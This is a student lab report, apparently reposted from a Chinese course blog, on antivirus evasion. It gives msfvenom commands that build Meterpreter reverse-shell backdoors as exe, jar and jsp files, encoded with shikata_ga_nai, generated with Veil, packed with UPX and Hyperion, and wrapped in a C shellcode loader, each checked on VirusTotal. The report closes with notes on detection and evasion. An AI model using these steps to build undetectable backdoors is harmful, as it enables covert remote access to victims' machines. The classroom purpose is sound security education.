其他分享
首页 > 其他分享> > 2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践

2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践

作者:互联网

2019-2020-2 20175105王鑫浩《网络对抗技术》Exp3 免杀原理与实践

实验步骤

1.正确使用msf编码器

1.输入如下的代码,生成exp3.exe文件,对后门程序进行编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.159.1 LPORT=5105 -f exe > exp3.exe
结果如下:

virustotal检测结果如下:

2.输入如下代码,生成met-encoded1.exe文件,相比上一条指令多了-i 10,意思是编码十次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.159.1 LPORT=5105 -f exe > exp3_encoded10.exe
结果如下:

virustotal检测结果如下:

2.msfvenom生成如其他类型文件

(1)生成jar文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 f jar > 20175105_java_backdoor.jar
结果如下:

用virustotal检测结果如下:

(2)生成jsp文件
生成命令如下:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 x> 20175105_jsp.jsp
结果如下:

用virustotal检测结果如下:

3.veil

(1)veil安装
参考kali201703安装Veil Evasion解决Veil—Evasion安装中git clone导致失败的问题,成功安装好veil
(2)输入veil指令,进入如下页面

(3)使用veil生成后门程序
使用use 7命令或use c/meterpreter/rev_tcp.py命令,使用此种payload

使用set LHOST 192.168.159.1set LPORT 5105来设置本地的IP地址和端口号
输入generate生成

(5)用virustotal检测结果如下:

4.加壳工具

(1)使用upx压缩壳
使用upx 20175105_veil_backdoor.exe -o 20175105_veil_backdoor_upx.exe命令加密刚才veil生成的程序

用virustotal检测结果如下:

(2)使用Hyperion加密壳
<2.1>查找hyperion.exe路径

<2.2>进入管理员模式,通过cp 20175105_veil_backdoor_upx.exe /usr/share/windows-resources/hyperion将刚才经过upx压缩的后门放到含有hyperion的文件夹下

<2.3>然后进入到上述目录中,输入wine hyperion.exe -v 20175105_veil_backdoor_upx.exe 20175105_veil_backdoor_upx_hyperion.exe命令用hyperion加密后门程序
<2.4>用virustotal检测结果如下:

5.使用C + shellcode编程

(1)使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.159.1 LPORT=5105 -f c > callshellcode.c 命令生成一段shellcode到callshellcode.c
(2)打开callshellcode.c,添加代码如下:

int main()
{
   int (*func)() = (int(*)())buf;
   func();

}


(3)使用i686-w64-mingw32-g++ callshellcode.c -o 20175105_backdoor.exe将c文件变成一个可执行程序。
(4)用virustotal检测结果如下:

6.使用其他课堂未介绍方法

(1)打开veil,输入use evasion,输入list查看payload列表,输入use 16尝试第16项go/meterpreter/rev_tcp

(2)设置本地IP地址、本地端口号后生成可执行程序
(3)virustotal检测结果如下:


问题回答

1.杀软是如何检测出恶意代码的?
基于特征码的检测:经过对许多恶意代码的分析,统筹出该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,称为该类恶意代码的特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

​ 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

2.免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。

3.免杀的基本方法有哪些?
改变特征码的技术:加壳、使用encode进行编码、基于payload重新编译生成可执行文件、使用其他语言重写再编译
改变行为的技术: 尽量使用反弹式连接,使用隧道技术,加密通讯数据;基于内存操作,减少对系统修改,加入混淆作用的正常功能代码
非常规技术:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工制作恶意软件

4.开启杀软能绝对防止电脑中恶意代码吗?
不能,通过本次实验查阅的相关资料,证明杀软的病毒库是不断更新的,这也能证明,恶意代码也是在不断发展。


实验体会

本次实验相较前两次实验在知识面上扩展了许多,导致自己有些应接不暇,自己应该调整时间分配,在下次实验中表现得更好一些。

标签:exe,免杀,Exp3,恶意代码,如下,20175105,2019,veil,virustotal
来源: https://www.cnblogs.com/wxhblogs/p/12630282.html